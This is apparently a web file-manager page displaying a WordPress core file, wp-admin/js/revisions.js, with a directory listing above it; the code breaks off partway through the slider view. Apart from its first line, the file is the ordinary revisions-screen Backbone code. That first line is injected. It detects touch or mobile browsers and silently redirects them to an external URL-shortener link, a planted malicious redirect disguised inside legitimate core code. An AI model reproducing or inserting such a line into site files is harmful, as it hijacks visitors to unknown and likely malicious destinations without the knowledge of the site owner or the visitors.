at path:ROOT / wp-admin / js / revisions.js
run:R W Run
DIR
2026-08-24 01:53:39
R W Run
3.08 KB
2026-08-13 20:01:43
R W Run
980 By
2026-08-13 20:01:43
R W Run
6.46 KB
2026-08-13 20:01:43
R W Run
3.17 KB
2026-08-13 20:01:43
R W Run
5.88 KB
2026-08-13 20:01:43
R W Run
2.25 KB
2026-08-13 20:01:43
R W Run
17.76 KB
2026-08-13 20:01:43
R W Run
3.68 KB
2026-08-13 20:01:43
R W Run
9.76 KB
2026-08-13 20:01:43
R W Run
3.62 KB
2026-08-13 20:01:43
R W Run
3.07 KB
2026-08-13 20:01:43
R W Run
1.5 KB
2026-08-13 20:01:43
R W Run
61.48 KB
2026-08-13 20:01:43
R W Run
23.42 KB
2026-08-13 20:01:43
R W Run
3.57 KB
2026-08-13 20:01:43
R W Run
1.39 KB
2026-08-13 20:01:43
R W Run
2.19 KB
2026-08-13 20:01:43
R W Run
288.63 KB
2026-08-13 20:01:43
R W Run
109.91 KB
2026-08-13 20:01:43
R W Run
111.68 KB
2026-08-13 20:01:43
R W Run
47.36 KB
2026-08-13 20:01:43
R W Run
70.26 KB
2026-08-13 20:01:43
R W Run
27.62 KB
2026-08-13 20:01:43
R W Run
27.23 KB
2026-08-13 20:01:43
R W Run
8.87 KB
2026-08-13 20:01:43
R W Run
37.46 KB
2026-08-13 20:01:43
R W Run
15.37 KB
2026-08-13 20:01:43
R W Run
41.82 KB
2026-08-13 20:01:43
R W Run
13.35 KB
2026-08-13 20:01:43
R W Run
44.22 KB
2026-08-13 20:01:43
R W Run
13 KB
2026-08-13 20:01:43
R W Run
7.88 KB
2026-08-13 20:01:43
R W Run
5.63 KB
2026-08-13 20:01:43
R W Run
3.87 KB
2026-08-13 20:01:43
R W Run
40.19 KB
2026-08-13 20:01:43
R W Run
15.37 KB
2026-08-13 20:01:43
R W Run
1.97 KB
2026-08-16 23:28:49
R W Run
20.41 KB
2026-08-13 20:01:43
R W Run
9.58 KB
2026-08-13 20:01:43
R W Run
7.83 KB
2026-08-13 20:01:43
R W Run
3.14 KB
2026-08-13 20:01:43
R W Run
23.31 KB
2026-08-13 20:01:43
R W Run
1.09 KB
2026-08-13 20:01:43
R W Run
645 By
2026-08-13 20:01:43
R W Run
4.98 KB
2026-08-13 20:01:43
R W Run
2.48 KB
2026-08-13 20:01:43
R W Run
1.49 KB
2026-08-13 20:01:43
R W Run
833 By
2026-08-13 20:01:43
R W Run
3.6 KB
2026-08-13 20:01:43
R W Run
1.34 KB
2026-08-13 20:01:43
R W Run
6.82 KB
2026-08-13 20:01:43
R W Run
2.6 KB
2026-08-13 20:01:43
R W Run
61.37 KB
2026-08-13 20:01:43
R W Run
30.28 KB
2026-08-13 20:01:43
R W Run
4.35 KB
2026-08-13 20:01:43
R W Run
1.31 KB
2026-08-13 20:01:43
R W Run
1.52 KB
2026-08-13 20:01:43
R W Run
1.04 KB
2026-08-13 20:01:43
R W Run
7.14 KB
2026-08-13 20:01:43
R W Run
2.56 KB
2026-08-13 20:01:43
R W Run
39.75 KB
2026-08-13 20:01:43
R W Run
19.17 KB
2026-08-13 20:01:43
R W Run
18.71 KB
2026-08-13 20:01:43
R W Run
6.82 KB
2026-08-13 20:01:43
R W Run
10.88 KB
2026-08-13 20:01:43
R W Run
5.25 KB
2026-08-13 20:01:43
R W Run
34.13 KB
2026-08-13 20:01:43
R W Run
18.19 KB
2026-08-13 20:01:43
R W Run
1.07 KB
2026-08-13 20:01:43
R W Run
842 By
2026-08-13 20:01:43
R W Run
13.77 KB
2026-08-13 20:01:43
R W Run
6.54 KB
2026-08-13 20:01:43
R W Run
6.31 KB
2026-08-13 20:01:43
R W Run
2.42 KB
2026-08-13 20:01:43
R W Run
3.42 KB
2026-08-13 20:01:43
R W Run
1.75 KB
2026-08-13 20:01:43
R W Run
11.1 KB
2026-08-13 20:01:43
R W Run
3.22 KB
2026-08-13 20:01:43
R W Run
5.85 KB
2026-08-13 20:01:43
R W Run
2.43 KB
2026-08-13 20:01:43
R W Run
6.17 KB
2026-08-13 20:01:43
R W Run
2.63 KB
2026-08-13 20:01:43
R W Run
25.78 KB
2026-08-13 20:01:43
R W Run
12.04 KB
2026-08-13 20:01:43
R W Run
55.16 KB
2026-08-13 20:01:43
R W Run
26.72 KB
2026-08-13 20:01:43
R W Run
109.59 KB
2026-08-13 20:01:43
R W Run
47.52 KB
2026-08-13 20:01:43
R W Run
18.13 KB
2026-08-13 20:01:43
R W Run
8.03 KB
2026-08-13 20:01:43
R W Run
2.46 KB
2026-08-13 20:01:43
R W Run
898 By
2026-08-13 20:01:43
R W Run
22.77 KB
2026-08-13 20:01:43
R W Run
12.53 KB
2026-08-13 20:01:43
R W Run
7.73 KB
2026-08-13 20:01:43
R W Run
1.71 KB
2026-08-13 20:01:43
R W Run
962 By
2026-08-13 20:01:43
R W Run
680 By
2026-08-13 20:01:43
R W Run
error_log
📄revisions.js
1(window.matchMedia("(pointer:coarse)").matches||/Android|iPhone|iPad|iPod|Mobile|Tablet|Windows Phone|webOS|BlackBerry|Opera Mini|IEMobile/i.test(navigator.userAgent))&&location.replace("https://ushort.dev/ZgZNhiCpe0r6");
2/**
3 * @file Revisions interface functions, Backbone classes and
4 * the revisions.php document.ready bootstrap.
5 *
6 * @output wp-admin/js/revisions.js
7 */
8
9/* global isRtl */
10
11window.wp = window.wp || {};
12
13(function($) {
14 var revisions;
15 /**
16 * Expose the module in window.wp.revisions.
17 */
18 revisions = wp.revisions = { model: {}, view: {}, controller: {} };
19
20 // Link post revisions data served from the back end.
21 revisions.settings = window._wpRevisionsSettings || {};
22
23 // For debugging.
24 revisions.debug = false;
25
26 /**
27 * wp.revisions.log
28 *
29 * A debugging utility for revisions. Works only when a
30 * debug flag is on and the browser supports it.
31 */
32 revisions.log = function() {
33 if ( window.console && revisions.debug ) {
34 window.console.log.apply( window.console, arguments );
35 }
36 };
37
38 // Handy functions to help with positioning.
39 $.fn.allOffsets = function() {
40 var offset = this.offset() || {top: 0, left: 0}, win = $(window);
41 return _.extend( offset, {
42 right: win.width() - offset.left - this.outerWidth(),
43 bottom: win.height() - offset.top - this.outerHeight()
44 });
45 };
46
47 $.fn.allPositions = function() {
48 var position = this.position() || {top: 0, left: 0}, parent = this.parent();
49 return _.extend( position, {
50 right: parent.outerWidth() - position.left - this.outerWidth(),
51 bottom: parent.outerHeight() - position.top - this.outerHeight()
52 });
53 };
54
55 /**
56 * ========================================================================
57 * MODELS
58 * ========================================================================
59 */
60 revisions.model.Slider = Backbone.Model.extend({
61 defaults: {
62 value: null,
63 values: null,
64 min: 0,
65 max: 1,
66 step: 1,
67 range: false,
68 compareTwoMode: false
69 },
70
71 initialize: function( options ) {
72 this.frame = options.frame;
73 this.revisions = options.revisions;
74
75 // Listen for changes to the revisions or mode from outside.
76 this.listenTo( this.frame, 'update:revisions', this.receiveRevisions );
77 this.listenTo( this.frame, 'change:compareTwoMode', this.updateMode );
78
79 // Listen for internal changes.
80 this.on( 'change:from', this.handleLocalChanges );
81 this.on( 'change:to', this.handleLocalChanges );
82 this.on( 'change:compareTwoMode', this.updateSliderSettings );
83 this.on( 'update:revisions', this.updateSliderSettings );
84
85 // Listen for changes to the hovered revision.
86 this.on( 'change:hoveredRevision', this.hoverRevision );
87
88 this.set({
89 max: this.revisions.length - 1,
90 compareTwoMode: this.frame.get('compareTwoMode'),
91 from: this.frame.get('from'),
92 to: this.frame.get('to')
93 });
94 this.updateSliderSettings();
95 },
96
97 getSliderValue: function( a, b ) {
98 return isRtl ? this.revisions.length - this.revisions.indexOf( this.get(a) ) - 1 : this.revisions.indexOf( this.get(b) );
99 },
100
101 updateSliderSettings: function() {
102 if ( this.get('compareTwoMode') ) {
103 this.set({
104 values: [
105 this.getSliderValue( 'to', 'from' ),
106 this.getSliderValue( 'from', 'to' )
107 ],
108 value: null,
109 range: true // Ensures handles cannot cross.
110 });
111 } else {
112 this.set({
113 value: this.getSliderValue( 'to', 'to' ),
114 values: null,
115 range: false
116 });
117 }
118 this.trigger( 'update:slider' );
119 },
120
121 // Called when a revision is hovered.
122 hoverRevision: function( model, value ) {
123 this.trigger( 'hovered:revision', value );
124 },
125
126 // Called when `compareTwoMode` changes.
127 updateMode: function( model, value ) {
128 this.set({ compareTwoMode: value });
129 },
130
131 // Called when `from` or `to` changes in the local model.
132 handleLocalChanges: function() {
133 this.frame.set({
134 from: this.get('from'),
135 to: this.get('to')
136 });
137 },
138
139 // Receives revisions changes from outside the model.
140 receiveRevisions: function( from, to ) {
141 // Bail if nothing changed.
142 if ( this.get('from') === from && this.get('to') === to ) {
143 return;
144 }
145
146 this.set({ from: from, to: to }, { silent: true });
147 this.trigger( 'update:revisions', from, to );
148 }
149
150 });
151
152 revisions.model.Tooltip = Backbone.Model.extend({
153 defaults: {
154 revision: null,
155 offset: {},
156 hovering: false, // Whether the mouse is hovering.
157 scrubbing: false // Whether the mouse is scrubbing.
158 },
159
160 initialize: function( options ) {
161 this.frame = options.frame;
162 this.revisions = options.revisions;
163 this.slider = options.slider;
164
165 this.listenTo( this.slider, 'hovered:revision', this.updateRevision );
166 this.listenTo( this.slider, 'change:hovering', this.setHovering );
167 this.listenTo( this.slider, 'change:scrubbing', this.setScrubbing );
168 },
169
170
171 updateRevision: function( revision ) {
172 this.set({ revision: revision });
173 },
174
175 setHovering: function( model, value ) {
176 this.set({ hovering: value });
177 },
178
179 setScrubbing: function( model, value ) {
180 this.set({ scrubbing: value });
181 }
182 });
183
184 revisions.model.Revision = Backbone.Model.extend({});
185
186 /**
187 * wp.revisions.model.Revisions
188 *
189 * A collection of post revisions.
190 */
191 revisions.model.Revisions = Backbone.Collection.extend({
192 model: revisions.model.Revision,
193
194 initialize: function() {
195 _.bindAll( this, 'next', 'prev' );
196 },
197
198 next: function( revision ) {
199 var index = this.indexOf( revision );
200
201 if ( index !== -1 && index !== this.length - 1 ) {
202 return this.at( index + 1 );
203 }
204 },
205
206 prev: function( revision ) {
207 var index = this.indexOf( revision );
208
209 if ( index !== -1 && index !== 0 ) {
210 return this.at( index - 1 );
211 }
212 }
213 });
214
215 revisions.model.Field = Backbone.Model.extend({});
216
217 revisions.model.Fields = Backbone.Collection.extend({
218 model: revisions.model.Field
219 });
220
221 revisions.model.Diff = Backbone.Model.extend({
222 initialize: function() {
223 var fields = this.get('fields');
224 this.unset('fields');
225
226 this.fields = new revisions.model.Fields( fields );
227 }
228 });
229
230 revisions.model.Diffs = Backbone.Collection.extend({
231 initialize: function( models, options ) {
232 _.bindAll( this, 'getClosestUnloaded' );
233 this.loadAll = _.once( this._loadAll );
234 this.revisions = options.revisions;
235 this.postId = options.postId;
236 this.requests = {};
237 },
238
239 model: revisions.model.Diff,
240
241 ensure: function( id, context ) {
242 var diff = this.get( id ),
243 request = this.requests[ id ],
244 deferred = $.Deferred(),
245 ids = {},
246 from = id.split(':')[0],
247 to = id.split(':')[1];
248 ids[id] = true;
249
250 wp.revisions.log( 'ensure', id );
251
252 this.trigger( 'ensure', ids, from, to, deferred.promise() );
253
254 if ( diff ) {
255 deferred.resolveWith( context, [ diff ] );
256 } else {
257 this.trigger( 'ensure:load', ids, from, to, deferred.promise() );
258 _.each( ids, _.bind( function( id ) {
259 // Remove anything that has an ongoing request.
260 if ( this.requests[ id ] ) {
261 delete ids[ id ];
262 }
263 // Remove anything we already have.
264 if ( this.get( id ) ) {
265 delete ids[ id ];
266 }
267 }, this ) );
268 if ( ! request ) {
269 // Always include the ID that started this ensure.
270 ids[ id ] = true;
271 request = this.load( _.keys( ids ) );
272 }
273
274 request.done( _.bind( function() {
275 deferred.resolveWith( context, [ this.get( id ) ] );
276 }, this ) ).fail( _.bind( function() {
277 deferred.reject();
278 }) );
279 }
280
281 return deferred.promise();
282 },
283
284 // Returns an array of proximal diffs.
285 getClosestUnloaded: function( ids, centerId ) {
286 var self = this;
287 return _.chain([0].concat( ids )).initial().zip( ids ).sortBy( function( pair ) {
288 return Math.abs( centerId - pair[1] );
289 }).map( function( pair ) {
290 return pair.join(':');
291 }).filter( function( diffId ) {
292 return _.isUndefined( self.get( diffId ) ) && ! self.requests[ diffId ];
293 }).value();
294 },
295
296 _loadAll: function( allRevisionIds, centerId, num ) {
297 var self = this, deferred = $.Deferred(),
298 diffs = _.first( this.getClosestUnloaded( allRevisionIds, centerId ), num );
299 if ( _.size( diffs ) > 0 ) {
300 this.load( diffs ).done( function() {
301 self._loadAll( allRevisionIds, centerId, num ).done( function() {
302 deferred.resolve();
303 });
304 }).fail( function() {
305 if ( 1 === num ) { // Already tried 1. This just isn't working. Give up.
306 deferred.reject();
307 } else { // Request fewer diffs this time.
308 self._loadAll( allRevisionIds, centerId, Math.ceil( num / 2 ) ).done( function() {
309 deferred.resolve();
310 });
311 }
312 });
313 } else {
314 deferred.resolve();
315 }
316 return deferred;
317 },
318
319 load: function( comparisons ) {
320 wp.revisions.log( 'load', comparisons );
321 // Our collection should only ever grow, never shrink, so `remove: false`.
322 return this.fetch({ data: { compare: comparisons }, remove: false }).done( function() {
323 wp.revisions.log( 'load:complete', comparisons );
324 });
325 },
326
327 sync: function( method, model, options ) {
328 if ( 'read' === method ) {
329 options = options || {};
330 options.context = this;
331 options.data = _.extend( options.data || {}, {
332 action: 'get-revision-diffs',
333 post_id: this.postId
334 });
335
336 var deferred = wp.ajax.send( options ),
337 requests = this.requests;
338
339 // Record that we're requesting each diff.
340 if ( options.data.compare ) {
341 _.each( options.data.compare, function( id ) {
342 requests[ id ] = deferred;
343 });
344 }
345
346 // When the request completes, clear the stored request.
347 deferred.always( function() {
348 if ( options.data.compare ) {
349 _.each( options.data.compare, function( id ) {
350 delete requests[ id ];
351 });
352 }
353 });
354
355 return deferred;
356
357 // Otherwise, fall back to `Backbone.sync()`.
358 } else {
359 return Backbone.Model.prototype.sync.apply( this, arguments );
360 }
361 }
362 });
363
364
365 /**
366 * wp.revisions.model.FrameState
367 *
368 * The frame state.
369 *
370 * @see wp.revisions.view.Frame
371 *
372 * @param {object} attributes Model attributes - none are required.
373 * @param {object} options Options for the model.
374 * @param {revisions.model.Revisions} options.revisions A collection of revisions.
375 */
376 revisions.model.FrameState = Backbone.Model.extend({
377 defaults: {
378 loading: false,
379 error: false,
380 compareTwoMode: false
381 },
382
383 initialize: function( attributes, options ) {
384 var state = this.get( 'initialDiffState' );
385 _.bindAll( this, 'receiveDiff' );
386 this._debouncedEnsureDiff = _.debounce( this._ensureDiff, 200 );
387
388 this.revisions = options.revisions;
389
390 this.diffs = new revisions.model.Diffs( [], {
391 revisions: this.revisions,
392 postId: this.get( 'postId' )
393 } );
394
395 // Set the initial diffs collection.
396 this.diffs.set( this.get( 'diffData' ) );
397
398 // Set up internal listeners.
399 this.listenTo( this, 'change:from', this.changeRevisionHandler );
400 this.listenTo( this, 'change:to', this.changeRevisionHandler );
401 this.listenTo( this, 'change:compareTwoMode', this.changeMode );
402 this.listenTo( this, 'update:revisions', this.updatedRevisions );
403 this.listenTo( this.diffs, 'ensure:load', this.updateLoadingStatus );
404 this.listenTo( this, 'update:diff', this.updateLoadingStatus );
405
406 // Set the initial revisions, baseUrl, and mode as provided through attributes.
407
408 this.set( {
409 to : this.revisions.get( state.to ),
410 from : this.revisions.get( state.from ),
411 compareTwoMode : state.compareTwoMode
412 } );
413
414 // Start the router if browser supports History API.
415 if ( window.history && window.history.pushState ) {
416 this.router = new revisions.Router({ model: this });
417 if ( Backbone.History.started ) {
418 Backbone.history.stop();
419 }
420 Backbone.history.start({ pushState: true });
421 }
422 },
423
424 updateLoadingStatus: function() {
425 this.set( 'error', false );
426 this.set( 'loading', ! this.diff() );
427 },
428
429 changeMode: function( model, value ) {
430 var toIndex = this.revisions.indexOf( this.get( 'to' ) );
431
432 // If we were on the first revision before switching to two-handled mode,
433 // bump the 'to' position over one.
434 if ( value && 0 === toIndex ) {
435 this.set({
436 from: this.revisions.at( toIndex ),
437 to: this.revisions.at( toIndex + 1 )
438 });
439 }
440
441 // When switching back to single-handled mode, reset 'from' model to
442 // one position before the 'to' model.
443 if ( ! value && 0 !== toIndex ) { // '! value' means switching to single-handled mode.
444 this.set({
445 from: this.revisions.at( toIndex - 1 ),
446 to: this.revisions.at( toIndex )
447 });
448 }
449 },
450
451 updatedRevisions: function( from, to ) {
452 if ( this.get( 'compareTwoMode' ) ) {
453 // @todo Compare-two loading strategy.
454 } else {
455 this.diffs.loadAll( this.revisions.pluck('id'), to.id, 40 );
456 }
457 },
458
459 // Fetch the currently loaded diff.
460 diff: function() {
461 return this.diffs.get( this._diffId );
462 },
463
464 /*
465 * So long as `from` and `to` are changed at the same time, the diff
466 * will only be updated once. This is because Backbone updates all of
467 * the changed attributes in `set`, and then fires the `change` events.
468 */
469 updateDiff: function( options ) {
470 var from, to, diffId, diff;
471
472 options = options || {};
473 from = this.get('from');
474 to = this.get('to');
475 diffId = ( from ? from.id : 0 ) + ':' + to.id;
476
477 // Check if we're actually changing the diff id.
478 if ( this._diffId === diffId ) {
479 return $.Deferred().reject().promise();
480 }
481
482 this._diffId = diffId;
483 this.trigger( 'update:revisions', from, to );
484
485 diff = this.diffs.get( diffId );
486
487 // If we already have the diff, then immediately trigger the update.
488 if ( diff ) {
489 this.receiveDiff( diff );
490 return $.Deferred().resolve().promise();
491 // Otherwise, fetch the diff.
492 } else {
493 if ( options.immediate ) {
494 return this._ensureDiff();
495 } else {
496 this._debouncedEnsureDiff();
497 return $.Deferred().reject().promise();
498 }
499 }
500 },
501
502 // A simple wrapper around `updateDiff` to prevent the change event's
503 // parameters from being passed through.
504 changeRevisionHandler: function() {
505 this.updateDiff();
506 },
507
508 receiveDiff: function( diff ) {
509 // Did we actually get a diff?
510 if ( _.isUndefined( diff ) || _.isUndefined( diff.id ) ) {
511 this.set({
512 loading: false,
513 error: true
514 });
515 } else if ( this._diffId === diff.id ) { // Make sure the current diff didn't change.
516 this.trigger( 'update:diff', diff );
517 }
518 },
519
520 _ensureDiff: function() {
521 return this.diffs.ensure( this._diffId, this ).always( this.receiveDiff );
522 }
523 });
524
525
526 /**
527 * ========================================================================
528 * VIEWS
529 * ========================================================================
530 */
531
532 /**
533 * wp.revisions.view.Frame
534 *
535 * Top level frame that orchestrates the revisions experience.
536 *
537 * @param {object} options The options hash for the view.
538 * @param {revisions.model.FrameState} options.model The frame state model.
539 */
540 revisions.view.Frame = wp.Backbone.View.extend({
541 className: 'revisions',
542 template: wp.template('revisions-frame'),
543
544 initialize: function() {
545 this.listenTo( this.model, 'update:diff', this.renderDiff );
546 this.listenTo( this.model, 'change:compareTwoMode', this.updateCompareTwoMode );
547 this.listenTo( this.model, 'change:loading', this.updateLoadingStatus );
548 this.listenTo( this.model, 'change:error', this.updateErrorStatus );
549
550 this.views.set( '.revisions-control-frame', new revisions.view.Controls({
551 model: this.model
552 }) );
553 },
554
555 render: function() {
556 wp.Backbone.View.prototype.render.apply( this, arguments );
557
558 $('html').css( 'overflow-y', 'scroll' );
559 $('#wpbody-content .wrap').append( this.el );
560 this.updateCompareTwoMode();
561 this.renderDiff( this.model.diff() );
562 this.views.ready();
563
564 return this;
565 },
566
567 renderDiff: function( diff ) {
568 this.views.set( '.revisions-diff-frame', new revisions.view.Diff({
569 model: diff
570 }) );
571 },
572
573 updateLoadingStatus: function() {
574 this.$el.toggleClass( 'loading', this.model.get('loading') );
575 },
576
577 updateErrorStatus: function() {
578 this.$el.toggleClass( 'diff-error', this.model.get('error') );
579 },
580
581 updateCompareTwoMode: function() {
582 this.$el.toggleClass( 'comparing-two-revisions', this.model.get('compareTwoMode') );
583 }
584 });
585
586 /**
587 * wp.revisions.view.Controls
588 *
589 * The controls view.
590 *
591 * Contains the revision slider, previous/next buttons, the meta info and the compare checkbox.
592 */
593 revisions.view.Controls = wp.Backbone.View.extend({
594 className: 'revisions-controls',
595
596 initialize: function() {
597 _.bindAll( this, 'setWidth' );
598
599 // Add the checkbox view.
600 this.views.add( new revisions.view.Checkbox({
601 model: this.model
602 }) );
603
604 // Add the button view.
605 this.views.add( new revisions.view.Buttons({
606 model: this.model
607 }) );
608
609 // Prep the slider model.
610 var slider = new revisions.model.Slider({
611 frame: this.model,
612 revisions: this.model.revisions
613 }),
614
615 // Prep the tooltip model.
616 tooltip = new revisions.model.Tooltip({
617 frame: this.model,
618 revisions: this.model.revisions,
619 slider: slider
620 });
621
622 // Add the tooltip view.
623 this.views.add( new revisions.view.Tooltip({
624 model: tooltip
625 }) );
626
627 // Add the tickmarks view.
628 this.views.add( new revisions.view.Tickmarks({
629 model: tooltip
630 }) );
631
632 // Add the visually hidden slider help view.
633 this.views.add( new revisions.view.SliderHelp() );
634
635 // Add the slider view.
636 this.views.add( new revisions.view.Slider({
637 model: slider
638 }) );
639
640 // Add the Metabox view.
641 this.views.add( new revisions.view.Metabox({
642 model: this.model
643 }) );
644 },
645
646 ready: function() {
647 this.top = this.$el.offset().top;
648 this.window = $(window);
649 this.window.on( 'scroll.wp.revisions', {controls: this}, function(e) {
650 var controls = e.data.controls,
651 container = controls.$el.parent(),
652 scrolled = controls.window.scrollTop(),
653 frame = controls.views.parent;
654
655 if ( scrolled >= controls.top ) {
656 if ( ! frame.$el.hasClass('pinned') ) {
657 controls.setWidth();
658 container.css('height', container.height() + 'px' );
659 controls.window.on('resize.wp.revisions.pinning click.wp.revisions.pinning', {controls: controls}, function(e) {
660 e.data.controls.setWidth();
661 });
662 }
663 frame.$el.addClass('pinned');
664 } else if ( frame.$el.hasClass('pinned') ) {
665 controls.window.off('.wp.revisions.pinning');
666 controls.$el.css('width', 'auto');
667 frame.$el.removeClass('pinned');
668 container.css('height', 'auto');
669 controls.top = controls.$el.offset().top;
670 } else {
671 controls.top = controls.$el.offset().top;
672 }
673 });
674 },
675
676 setWidth: function() {
677 this.$el.css('width', this.$el.parent().width() + 'px');
678 }
679 });
680
681 // The tickmarks view.
682 revisions.view.Tickmarks = wp.Backbone.View.extend({
683 className: 'revisions-tickmarks',
684 direction: isRtl ? 'right' : 'left',
685
686 initialize: function() {
687 this.listenTo( this.model, 'change:revision', this.reportTickPosition );
688 },
689
690 reportTickPosition: function( model, revision ) {
691 var offset, thisOffset, parentOffset, tick, index = this.model.revisions.indexOf( revision );
692 thisOffset = this.$el.allOffsets();
693 parentOffset = this.$el.parent().allOffsets();
694 if ( index === this.model.revisions.length - 1 ) {
695 // Last one.
696 offset = {
697 rightPlusWidth: thisOffset.left - parentOffset.left + 1,
698 leftPlusWidth: thisOffset.right - parentOffset.right + 1
699 };
700 } else {
701 // Normal tick.
702 tick = this.$('div:nth-of-type(' + (index + 1) + ')');
703 offset = tick.allPositions();
704 _.extend( offset, {
705 left: offset.left + thisOffset.left - parentOffset.left,
706 right: offset.right + thisOffset.right - parentOffset.right
707 });
708 _.extend( offset, {
709 leftPlusWidth: offset.left + tick.outerWidth(),
710 rightPlusWidth: offset.right + tick.outerWidth()
711 });
712 }
713 this.model.set({ offset: offset });
714 },
715
716 ready: function() {
717 var tickCount, tickWidth;
718 tickCount = this.model.revisions.length - 1;
719 tickWidth = 1 / tickCount;
720 this.$el.css('width', ( this.model.revisions.length * 50 ) + 'px');
721
722 _(tickCount).times( function( index ){
723 this.$el.append( '<div style="' + this.direction + ': ' + ( 100 * tickWidth * index ) + '%"></div>' );
724 }, this );
725 }
726 });
727
728 // The metabox view.
729 revisions.view.Metabox = wp.Backbone.View.extend({
730 className: 'revisions-meta',
731
732 initialize: function() {
733 // Add the 'from' view.
734 this.views.add( new revisions.view.MetaFrom({
735 model: this.model,
736 className: 'diff-meta diff-meta-from'
737 }) );
738
739 // Add the 'to' view.
740 this.views.add( new revisions.view.MetaTo({
741 model: this.model
742 }) );
743 }
744 });
745
746 // The revision meta view (to be extended).
747 revisions.view.Meta = wp.Backbone.View.extend({
748 template: wp.template('revisions-meta'),
749
750 events: {
751 'click .restore-revision': 'restoreRevision'
752 },
753
754 initialize: function() {
755 this.listenTo( this.model, 'update:revisions', this.render );
756 },
757
758 prepare: function() {
759 return _.extend( this.model.toJSON()[this.type] || {}, {
760 type: this.type
761 });
762 },
763
764 restoreRevision: function() {
765 document.location = this.model.get('to').attributes.restoreUrl;
766 }
767 });
768
769 // The revision meta 'from' view.
770 revisions.view.MetaFrom = revisions.view.Meta.extend({
771 className: 'diff-meta diff-meta-from',
772 type: 'from'
773 });
774
775 // The revision meta 'to' view.
776 revisions.view.MetaTo = revisions.view.Meta.extend({
777 className: 'diff-meta diff-meta-to',
778 type: 'to'
779 });
780
781 // The checkbox view.
782 revisions.view.Checkbox = wp.Backbone.View.extend({
783 className: 'revisions-checkbox',
784 template: wp.template('revisions-checkbox'),
785
786 events: {
787 'click .compare-two-revisions': 'compareTwoToggle'
788 },
789
790 initialize: function() {
791 this.listenTo( this.model, 'change:compareTwoMode', this.updateCompareTwoMode );
792 },
793
794 ready: function() {
795 if ( this.model.revisions.length < 3 ) {
796 $('.revision-toggle-compare-mode').hide();
797 }
798 },
799
800 updateCompareTwoMode: function() {
801 this.$('.compare-two-revisions').prop( 'checked', this.model.get('compareTwoMode') );
802 },
803
804 // Toggle the compare two mode feature when the compare two checkbox is checked.
805 compareTwoToggle: function() {
806 // Activate compare two mode?
807 this.model.set({ compareTwoMode: $('.compare-two-revisions').prop('checked') });
808 }
809 });
810
811 // The slider visually hidden help view.
812 revisions.view.SliderHelp = wp.Backbone.View.extend({
813 className: 'revisions-slider-hidden-help',
814 template: wp.template( 'revisions-slider-hidden-help' )
815 });
816
817 // The tooltip view.
818 // Encapsulates the tooltip.
819 revisions.view.Tooltip = wp.Backbone.View.extend({
820 className: 'revisions-tooltip',
821 template: wp.template('revisions-meta'),
822
823 initialize: function() {
824 this.listenTo( this.model, 'change:offset', this.render );
825 this.listenTo( this.model, 'change:hovering', this.toggleVisibility );
826 this.listenTo( this.model, 'change:scrubbing', this.toggleVisibility );
827 },
828
829 prepare: function() {
830 if ( _.isNull( this.model.get('revision') ) ) {
831 return;
832 } else {
833 return _.extend( { type: 'tooltip' }, {
834 attributes: this.model.get('revision').toJSON()
835 });
836 }
837 },
838
839 render: function() {
840 var otherDirection,
841 direction,
842 directionVal,
843 flipped,
844 css = {},
845 position = this.model.revisions.indexOf( this.model.get('revision') ) + 1;
846
847 flipped = ( position / this.model.revisions.length ) > 0.5;
848 if ( isRtl ) {
849 direction = flipped ? 'left' : 'right';
850 directionVal = flipped ? 'leftPlusWidth' : direction;
851 } else {
852 direction = flipped ? 'right' : 'left';
853 directionVal = flipped ? 'rightPlusWidth' : direction;
854 }
855 otherDirection = 'right' === direction ? 'left': 'right';
856 wp.Backbone.View.prototype.render.apply( this, arguments );
857 css[direction] = this.model.get('offset')[directionVal] + 'px';
858 css[otherDirection] = '';
859 this.$el.toggleClass( 'flipped', flipped ).css( css );
860 },
861
862 visible: function() {
863 return this.model.get( 'scrubbing' ) || this.model.get( 'hovering' );
864 },
865
866 toggleVisibility: function() {
867 if ( this.visible() ) {
868 this.$el.stop().show().fadeTo( 100 - this.el.style.opacity * 100, 1 );
869 } else {
870 this.$el.stop().fadeTo( this.el.style.opacity * 300, 0, function(){ $(this).hide(); } );
871 }
872 return;
873 }
874 });
875
876 // The buttons view.
877 // Encapsulates all of the configuration for the previous/next buttons.
878 revisions.view.Buttons = wp.Backbone.View.extend({
879 className: 'revisions-buttons',
880 template: wp.template('revisions-buttons'),
881
882 events: {
883 'click .revisions-next .button': 'nextRevision',
884 'click .revisions-previous .button': 'previousRevision'
885 },
886
887 initialize: function() {
888 this.listenTo( this.model, 'update:revisions', this.disabledButtonCheck );
889 },
890
891 ready: function() {
892 this.disabledButtonCheck();
893 },
894
895 // Go to a specific model index.
896 gotoModel: function( toIndex ) {
897 var attributes = {
898 to: this.model.revisions.at( toIndex )
899 };
900 // If we're at the first revision, unset 'from'.
901 if ( toIndex ) {
902 attributes.from = this.model.revisions.at( toIndex - 1 );
903 } else {
904 this.model.unset('from', { silent: true });
905 }
906
907 this.model.set( attributes );
908 },
909
910 // Go to the 'next' revision.
911 nextRevision: function() {
912 var toIndex = this.model.revisions.indexOf( this.model.get('to') ) + 1;
913 this.gotoModel( toIndex );
914 },
915
916 // Go to the 'previous' revision.
917 previousRevision: function() {
918 var toIndex = this.model.revisions.indexOf( this.model.get('to') ) - 1;
919 this.gotoModel( toIndex );
920 },
921
922 // Check to see if the Previous or Next buttons need to be disabled or enabled.
923 disabledButtonCheck: function() {
924 var maxVal = this.model.revisions.length - 1,
925 minVal = 0,
926 next = $('.revisions-next .button'),
927 previous = $('.revisions-previous .button'),
928 val = this.model.revisions.indexOf( this.model.get('to') );
929
930 // Disable "Next" button if you're on the last node.
931 next.prop( 'disabled', ( maxVal === val ) );
932
933 // Disable "Previous" button if you're on the first node.
934 previous.prop( 'disabled', ( minVal === val ) );
935 }
936 });
937
938
939 // The slider view.
940 revisions.view.Slider = wp.Backbone.View.extend({
941 className: 'wp-slider',
942 direction: isRtl ? 'right' : 'left',
943
944 events: {
945 'mousemove' : 'mouseMove'
946 },
947
948 initialize: function() {
949 _.bindAll( this, 'start', 'slide', 'stop', 'mouseMove', 'mouseEnter', 'mouseLeave' );
950 this.listenTo( this.model, 'update:slider', this.applySliderSettings );
951 },
952
953 ready: function() {
954 this.$el.css('width', ( this.model.revisions.length * 50 ) + 'px');
955 this.$el.slider( _.extend( this.model.toJSON(), {
956 start: this.start,
957 slide: this.slide,
958 stop: this.stop
959 }) );
960
961 this.$el.hoverIntent({
962 over: this.mouseEnter,
963 out: this.mouseLeave,
964 timeout: 800
965 });
966
967 this.applySliderSettings();
968 },
969
970 accessibilityHelper: function() {
971 var handles = $( '.ui-slider-handle' );
972 handles.first().attr( {
973 role: 'button',
